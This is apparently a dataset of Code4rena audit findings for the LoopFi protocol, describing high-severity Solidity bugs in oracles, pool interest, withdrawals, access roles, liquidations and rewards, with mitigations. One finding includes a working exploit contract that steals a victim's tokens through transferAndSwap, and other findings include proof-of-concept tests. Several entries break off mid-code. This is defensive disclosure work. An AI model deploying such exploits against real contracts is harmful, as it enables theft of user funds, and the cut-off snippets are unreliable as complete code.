xanoutas/solidity-security-findings huggingface dataset:
Wrong balancer bpt totalSupply usage can cause protocol account error
Audit: 2024-07-loopfi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-loopfi/blob/4f508781a49ffa53511e7e5ed6cda0ff0eb5bdc5/src/oracle/BalancerOracle.sol#L121


# Vulnerability details

## Vulnerability details

In the recent Balancer weight and stable pools, use `totalSupply()` function to get the `totalSupply` is wrong because the newer pools have pre-minted BPT, so it would be better to use `getActualSupply` instead of `totalSupply` in this case, you can see the balancer [docs](https://docs.balancer.fi/concepts/advanced/valuing-bpt/valuing-bpt.html#getting-bpt-supply) for more details.

Here is some examples for this issue:

Balancer weETH/ezETH/rswETH: https://etherscan.io/address/0x848a5564158d84b8a8fb68ab5d004fae11619a54#readContract

Balancer ezETH-WETH: https://etherscan.io/address/0x596192bb6e41802428ac943d2f1476c1af25cc0e

From the strategy [doc](https://docs.loopfi.xyz/the-protocol/looping-leveraged-restaking/supported-strategies) we can know rswETH and ezETH is supported by the protocol.

We can see the return value by calling `totalSupply` and `getActualSupply` is different obviously, the `totalSupply` always larger than `getActualSupply`. So the `BalancerOracle#update` always return smaller price then actually.

The `BalancerOracle#update` function called by `CDPVault#spotPrice` finally, so the `CDPVault#borrow/repay/liquidate...` actions can be affected, cause the users `borrow/repay/liquidate` less or more assets.

## Impact

Protocol can account error due to wrong balancer bpt `totalSupply` usage.

## Tools Used

vscode

## Recommended Mitigation Steps

Use `getActualSupply()` instead of `totalSupply()`.






## Assessed type

Invalid Validation
Incorrect Liquidity Delta Calculation in repayCreditAccount Function
Audit: 2024-07-loopfi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/PoolV3.sol#L567


# Vulnerability details

## Vulnerability Details 
In the repayCreditAccount function of the PoolV3 contract, there is an inconsistency in the calculation of the expectedLiquidityDelta parameter passed to the _updateBaseInterest function:

```solidity 
_updateBaseInterest({
            expectedLiquidityDelta: -loss.toInt256(), //@audit should be profit - loss
            availableLiquidityDelta: 0,
            checkOptimalBorrowing: false
        }); // U:[LP-14B,14C,14D]
```

The issue is that this calculation only considers the loss value, ignoring the profit parameter entirely.

Since the profit will impact interest rate calculations it should be included in this function

## Impact
The major impact is:

Inaccurate Interest Rate Adjustments: The miscalculation of expectedLiquidityDelta leads to incorrect updates of the base interest rate. This could result in the protocol either undercharging or overcharging interest on loans, potentially causing significant financial imbalances over time.

## Recommended Mitigation Steps
Update the expectedLiquidityDelta calculation to account for both profit and loss:

```solidity
_updateBaseInterest({
            expectedLiquidityDelta: profit.toInt256() - loss.toInt256(),
            availableLiquidityDelta: 0,
            checkOptimalBorrowing: false
        }); // U:[LP-14B,14C,14D]

```


## Assessed type

Other
`PoolV3.sol::withdraw` function is vulnerable due to wrong `assetsSent` value calculation.
Audit: 2024-07-loopfi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/PoolV3.sol#L306
https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/PoolV3.sol#L308
https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/PoolV3.sol#L401-#L425


# Vulnerability details

## Impact

When a user(depositor) will withdraw his deposited underlying token:

Inside `function withdraw` wrong `assetsSent` is been calculated, which will be = asset amount user want to withdraw + withdraw fees on it.

So the `assetsSent` will be more than what user asked to withdraw for. And later due to the same, `shares` are also incorrectly stored. 

Due to this wrong calculation and wrong amounts of input inserted inside `_withdraw` function while calling it internally, therefore the `_withdraw` function will execute in completely wrong way. 

```solidity
      function withdraw(
        uint256 assets,
        address receiver,
        address owner
    )
        public
        override(ERC4626, IERC4626)
        whenNotPaused // U:[LP-2A]
        whenNotLocked
        nonReentrant // U:[LP-2B]
        nonZeroAddress(receiver) // U:[LP-5]
        returns (uint256 shares)
    {
        uint256 assetsToUser = _amountWithFee(assets);
@>      uint256 assetsSent = _amountWithWithdrawalFee(assetsToUser); // U:[LP-8]
@>      shares = _convertToShares(assetsSent); // U:[LP-8]
@>      _withdraw(receiver, owner, assetsSent, assets, assetsToUser, shares); // U:[LP-8]
    }
```

 

So if that internal `_withdraw function` is executed wrongly then its impact will be as following:

1. User’s shares are burned more than they requested to withdraw for, which is obviously wrong thing happening here. (This can even revert the whole Tx. if user wants to withdraw all his deposited token, because he does not hold that much shares which contract is burning, revert due to this check in ERC20 `_burn` ⇒ `require(accountBalance >= amount)` )
2. Due to wrong `assetsSent` , the internal `_updateBaseInterest` is also updated incorrectly.
3. User is getting full amount which he requested for without getting any fee canceled from his amount to withdraw.
4. This check - `if (assetsSent > amountToUser)`  here will always pass and will affect the overall pool’s balance because it sending the `value: assetsSent - amountToUser` to the `treasury` from the overall pool’s balance and not from the fees charged to the user who is withdrawing a particular asset amount.
5. Lastly in `emit Withdraw` it will emit wrong number of shares, as shares are above calculated incorrectly.

```solidity
    function _withdraw(
        address receiver,
        address owner,
        uint256 assetsSent,
        uint256 assetsReceived,
        uint256 amountToUser,
        uint256 shares
    ) internal {
        if (msg.sender != owner) _spendAllowance({owner: owner, spender: msg.sender, amount: shares}); // U:[LP-8,9]
No permissions are set in AuraVault
Audit: 2024-07-loopfi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/vendor/AuraVault.sol#L129


# Vulnerability details

## Impact
The administrator function cannot be called.

## Proof of Concept

There are 2 types of permissions defined in AuraVault:

```solidity
bytes32 constant VAULT_ADMIN_ROLE = keccak256("VAULT_ADMIN_ROLE");
bytes32 constant VAULT_CONFIG_ROLE = keccak256("VAULT_CONFIG_ROLE");
```

But the problem is that permissions are not initialized in the constructor:

```solidity
    constructor(
        address rewardPool_,
        address asset_,
        address feed_,
        address auraPriceOracle_,
        uint32 maxClaimerIncentive_,
        uint32 maxLockerIncentive_,
        string memory tokenName_,
        string memory tokenSymbol_
    ) ERC4626(IERC20(asset_)) ERC20(tokenName_, tokenSymbol_) {
        rewardPool = rewardPool_;
        feed = feed_;
        auraPriceOracle = auraPriceOracle_;
        maxClaimerIncentive = maxClaimerIncentive_;
        maxLockerIncentive = maxLockerIncentive_;
    }
```

Therefore, the administrator function cannot be called.

## Tools Used
vscode

## Recommended Mitigation Steps
Set permissions in the constructor



## Assessed type

Access Control
Invalid token transfer via _transferFrom in transferAndSwap function
Audit: 2024-07-loopfi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/proxy/SwapAction.sol#L93-L103
https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/proxy/TransferAction.sol#L46-L81


# Vulnerability details

## Impact
- Attackers can steal tokens from other users without permission.
- Attackers can manipulate swaps for personal gain.

## Proof of Concept
code snippet TransferAction abstract contracts:
`IERC20(token).safeTransferFrom(from, to, amount);`
1. Initialize Exploit Contract:
- The attacker initializes the exploit contract with the required parameters, including the victim’s address, token, number of tokens, permission parameters, and swap parameters.

2. Execute Exploit:
- The attacker calls the `executeExploit` function on the exploit contract.
- This function calls `transferAndSwap` on the `SwapAction` contract with the victim’s address as `from`.
- `transferAndSwap` uses `_transferFrom` to transfer tokens from the victim to the `SwapAction` contract.
- After the tokens are transferred, `transferAndSwap` performs a swap using the stolen tokens.
```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "../src/proxy/SwapAction.sol";

contract Exploit {
    SwapAction public swapAction;
    address public victim;
    address public token;
    uint256 public amount;
    PermitParams public params;
    SwapParams public swapParams;

    constructor(
        SwapAction _swapAction,
        address _victim,
        address _token,
        uint256 _amount,
        PermitParams memory _params,
        SwapParams memory _swapParams
    ) {
        swapAction = _swapAction;
        victim = _victim;
        token = _token;
        amount = _amount;
        params = _params;
        swapParams = _swapParams;
    }

    function executeExploit() external {
        // The attacker calls transferAndSwap with the victim's address as `from`
        swapAction.transferAndSwap(victim, params, swapParams);
    }
}
```
```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "../src/proxy/SwapAction.sol";
import "../src/proxy/TransferAction.sol";
import "./Exploit.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockERC20 is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        _mint(msg.sender, 1_000_000_000 ether); // Mint a large amount of tokens for testing
    }
}

contract ExploitTest is Test {
    SwapAction public swapAction;
    Exploit public exploit;
    MockERC20 public token;
    address public victim;
    address public attacker;
    uint256 public amount;
    PermitParams public params;
    SwapParams public swapParams;

    function setUp() public {
        // Deploy MockERC20 token
        token = new MockERC20("Mock Token", "MKT");

        // Initialize SwapAction contract
        IVault balancerVault = IVault(address(0x1)); // Replac
Portion of the `rdntToken` reward might be not accounted when `vestTokens()` is called
Audit: 2024-07-loopfi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-loopfi/blob/main/src/reward/MultiFeeDistribution.sol#L500-L504


# Vulnerability details

## Impact
Part of the `rdntToken` reward might be not accounted when `vestTokens()` is called to increasing `rdntToken` reward for lockers.

## Proof of Concept
`MultiFeeDistribution#vestTokens()` is used to vest `rdntToken` reward for specific user.  If the specific user is `MultiFeeDistribution` self, the new reward will be distributed to all lockers linearly:
```solidity
    function vestTokens(address user, uint256 amount, bool withPenalty) external whenNotPaused {
        if (!minters[msg.sender]) revert InsufficientPermission();
        if (amount == 0) return;

        if (user == address(this)) {
            // minting to this contract adds the new tokens as incentives for lockers
@>          _notifyReward(address(rdntToken), amount);
            return;
        }
    ......
    }
```
However, when `_notifyReward()` is called to add new rewards, `_updateReward()` is not invoked to account for the latest rewards since the last update. As a result, this portion of the reward will not be accounted for, causing all lockers to suffer a loss.

Copy below codes to [MultiFeeDistribution.t.sol](https://github.com/code-423n4/2024-07-loopfi/blob/main/src/test/unit/MultiFeeDistribution.t.sol) and run `forge test --match-test test_vestRDNT`:
```solidity
    function test_vestRDNT() public {
        uint256 amount = 1000 ether;

        _addLockDurations();
        stakeToken.mint(address(this), 1 ether);
        multiFeeDistribution.setLPToken(address(stakeToken));
        address incentivesController = vm.addr(uint256(keccak256("incentivesController")));
        address treasury = vm.addr(uint256(keccak256("treasury")));
        multiFeeDistribution.setAddresses(IChefIncentivesController(incentivesController), treasury);

        vm.mockCall(
            incentivesController,
            abi.encodeWithSelector(IChefIncentivesController.afterLockUpdate.selector, address(this)),
            abi.encode(true)
        );
        stakeToken.approve(address(multiFeeDistribution), 1 ether);
        multiFeeDistribution.stake(1 ether, address(this), 0);

        address[] memory minters = new address[](1);
        minters[0] = address(this);
        multiFeeDistribution.setMinters(minters);
        loopToken.mint(address(multiFeeDistribution), amount);
        vm.mockCall(
            mockPriceProvider,
            abi.encodeWithSelector(IPriceProvider.getRewardTokenPrice.selector, address(loopToken), amount),
            abi.encode(1e18)
        );
        multiFeeDistribution.vestTokens(address(multiFeeDistribution), amount, false);
        vm.warp(block.timestamp + 30 days);
        //@audit-info rewardPerToken of loopToken (rdntToken) increased after 30 days 
        assertNotEq(multiFeeDistribution.rewardPerToken(address(loopToken)), 0);
        loopToken.mint(address(multiFeeDistribution), amount);
        mult
The current bounds for liquidation make the protocol subject to bad debt liquidations earlier than it should
Audit: 2024-07-loopfi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/CDPVault.sol#L526
https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/CDPVault.sol#L599


# Vulnerability details

## Description
At the CDPVault contract, there are two different liquidation functions - one for positions with bad debt and one for positions without it. 

In the liquidatePosition function, there's a sanity to ensure the position doesn't have any bad debt:
```solidity
if (calcTotalDebt(debtData) > wmul(position.collateral, spotPrice_)) revert CDPVault__BadDebt();
```

In contrast, the liquidatePositionBadDebt function has a sanity check to ensure the debt amount is greater than the position collateral at discount price:
```solidity
if (calcTotalDebt(debtData) <= wmul(position.collateral, discountedPrice)) revert CDPVault__noBadDebt();
```

This second sanity check is logically incorrect and creates a certain debt range in which a position can be liquidated in both manners:
Consider discountPrice is 95% the original price.
If we have a position with 100 units of collateral and 100% collateral ratio, liquidatePosition will be callable till our debt reaches 100 units while liquidatePositionBadDebt will be callable from the point the total debt is worth 95 units. This range from 95 units to 100 units of debt will rely mainly on the liquidator's choice of execution.
The liquidation with bad debt, however, is  worst for the protocol as generates loss of capital.

At WatchPug's report #5, issue WP-M1 states that the `liquidatePosition()` function should use `discountedPrice` when determining if a position is in bad debt status, ensuring that only `liquidatePositionBadDebt()` can be used for bad debt positions.
That is not correct, as the discounted price does not determine whether a position is collateralized or not, only the payment amounts to seize certain quantity of collateral.

As a matter of fact, liquidatePositionBadDebt should not use the discountedPrice on the previously mentioned sanity check: 
Conceptually bad debt is when the debt is enough to surpass the amount of collateral deposited by a borrower, ensuring it cannot **be** paid. If we consider a discounted collateral at health checks, we may wrongly consider a position that has enough collateral and can repay its debt obligations as one with bad debt.

## Impact
Bad debt liquidations may be executed earlier than they should.
There's a certain debt range in which the protocol is at the mercy of liquidators: a liquidator may chose to liquidate causing bad debt or not.

## Tools Used
Manual review
## Recommended Mitigation Steps
Make sure to utilize the spot price to enforce the normal liquidation and bad debt liquidation on sanity checks for liquidations.
```solidity
function liquidatePosition(address owner, uint256 repayAmount) external whenNotPaused {
        ...
        // Ensure that there's no bad debt
        if (calc
The liquidatePositionBadDebt function should not be callable when there is no bad debt
Audit: 2024-07-loopfi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/CDPVault.sol#L599


# Vulnerability details

## Impact
When there is a bad debt, the liquidator needs to use the liquidatePositionBadDebt function instead of the liquidatePosition function. As we can see the check in the liquidatePosition function. 

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/CDPVault.sol#L525-L526
```solidity
// Enusure that there's no bad debt
        if (calcTotalDebt(debtData) > wmul(position.collateral, spotPrice_)) revert CDPVault__BadDebt();
```

The problem is that the liquidatePositionBadDebt function checks bad debt using the discounted price, which will cause the function to be called even if there is no bad debt.

Liquidators can use the liquidatePositionBadDebt function instead of the liquidatePosition to not pay the liquidation penalty fee.

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/CDPVault.sol#L530-L531 
```solidity
uint256 deltaDebt = wmul(repayAmount, liqConfig_.liquidationPenalty);
        uint256 penalty = wmul(repayAmount, WAD - liqConfig_.liquidationPenalty);
```


Also, the liquidatePositionBadDebt function will call the repayCreditAccount with a loss amount even if there is no loss.

```solidity
function liquidatePositionBadDebt(address owner, uint256 repayAmount) external whenNotPaused {
        //......
         
        uint256 loss = calcTotalDebt(debtData) - repayAmount;

        // transfer the repay amount from the liquidator to the vault
        poolUnderlying.safeTransferFrom(msg.sender, address(pool), repayAmount);

        position.cumulativeQuotaInterest = 0;
        position.cumulativeQuotaIndexLU = debtData.cumulativeQuotaIndexNow;
        // update liquidated position
        position = _modifyPosition(
            owner,
            position,
            0,
            debtData.cumulativeIndexNow,
            -toInt256(takeCollateral),
            totalDebt
        );

        pool.repayCreditAccount(debtData.debt, 0, loss); // U:[CM-11]
        // transfer the collateral amount from the vault to the liquidator
        token.safeTransfer(msg.sender, takeCollateral);

        int256 quotaRevenueChange = _calcQuotaRevenueChange(-int(debtData.debt));
        if (quotaRevenueChange != 0) {
            IPoolV3(pool).updateQuotaRevenue(quotaRevenueChange); // U:[PQK-15]
        }
    }
```
## Proof of Concept

CDPVault.t.sol

```solidity
function test_liquidate_BadDebt() public {
        CDPVault vault = createCDPVault(token, 150 ether, 0, 1.25 ether, 1 ether, 0.9 ether);
        createGaugeAndSetGauge(address(vault));
        // create position
        _modifyCollateralAndDebt(vault, 100 ether, 80 ether);

        // 80 debt 100 collateral

        // liquidate position
        address position = address(this);
        uint256 repayAmount = 80 ether;
        _updateSpot(0.81 ether);
`AuraVault` is not functional because no one is allowed to update its configuration 
Audit: 2024-07-loopfi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-loopfi/blob/main/src/vendor/AuraVault.sol#L145-L150
https://github.com/code-423n4/2024-07-loopfi/blob/main/src/vendor/AuraVault.sol#L152-L168


# Vulnerability details

## Impact
`AuraVault` is not functional because no one is allowed to update its configuration 

## Proof of Concept
- `AuraVault#setParameter()` is used to update the value of `feed` or `auraPriceOracle`, the caller must be granted `VAULT_CONFIG_ROLE` role
- `AuraVault#setVaultConfig()` is used to set `vaultConfig`, the caller must be granted `VAULT_ADMIN_ROLE` role

However, when `AuraVault` is deployed, no one is granted either the `VAULT_CONFIG_ROLE` or `VAULT_ADMIN_ROLE`, which means no one can access `setParameter()` or `setVaultConfig()`.
## Tools Used
Manual review
## Recommended Mitigation Steps
- Ensure that at least one account is granted `VAULT_CONFIG_ROLE` role
- Ensure that at least one account is granted `VAULT_ADMIN_ROLE` role


## Assessed type

Access Control
profit is ignored for in update base interest when repay credit
Audit: 2024-07-loopfi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-loopfi/blob/main/src/PoolV3.sol#L567


# Vulnerability details

## Vulnerability details
When repay credit, base interest will be updated as below:

    function repayCreditAccount(
        uint256 repaidAmount,
        uint256 profit,
        uint256 loss
    )
        external
        override
        creditManagerOnly // U:[LP-2C]
        whenNotPaused // U:[LP-2A]
        nonReentrant // U:[LP-2B]
    {
      .   .   .   .   .
        _updateBaseInterest({
            expectedLiquidityDelta: -loss.toInt256(),  // <---
            availableLiquidityDelta: 0,
            checkOptimalBorrowing: false
        }); // U:[LP-14B,14C,14D]

        _totalDebt.borrowed -= repaidAmountU128; // U:[LP-14B,14C,14D]
        cmDebt.borrowed = cmBorrowed - repaidAmountU128; // U:[LP-14B,14C,14D]

        emit Repay(msg.sender, repaidAmount, profit, loss); // U:[LP-14B,14C,14D]
    }
Function `_updateBaseInterest()` is used to update interest rate based on liquidity delta:

    /// @dev Updates base interest rate based on expected and available liquidity deltas
But in `repayCreditAccount()` function, profit is ignored when updating interest, which lead to wrong interest is updated.

## Impact
Wrong interest will be updated due to ignore of profit.

## Tools Used
Manual review

## Recommended Mitigation Steps
Add profit when updating interest:

    function repayCreditAccount(
        uint256 repaidAmount,
        uint256 profit,
        uint256 loss
    )
        external
        override
        creditManagerOnly // U:[LP-2C]
        whenNotPaused // U:[LP-2A]
        nonReentrant // U:[LP-2B]
    {
      .   .   .   .   .
        _updateBaseInterest({
    -       expectedLiquidityDelta: -loss.toInt256(), 
    +       expectedLiquidityDelta: profit.toInt256() - loss.toInt256(), 
            availableLiquidityDelta: 0,
            checkOptimalBorrowing: false
        }); // U:[LP-14B,14C,14D]

        _totalDebt.borrowed -= repaidAmountU128; // U:[LP-14B,14C,14D]
        cmDebt.borrowed = cmBorrowed - repaidAmountU128; // U:[LP-14B,14C,14D]

        emit Repay(msg.sender, repaidAmount, profit, loss); // U:[LP-14B,14C,14D]
    }


## Assessed type

Context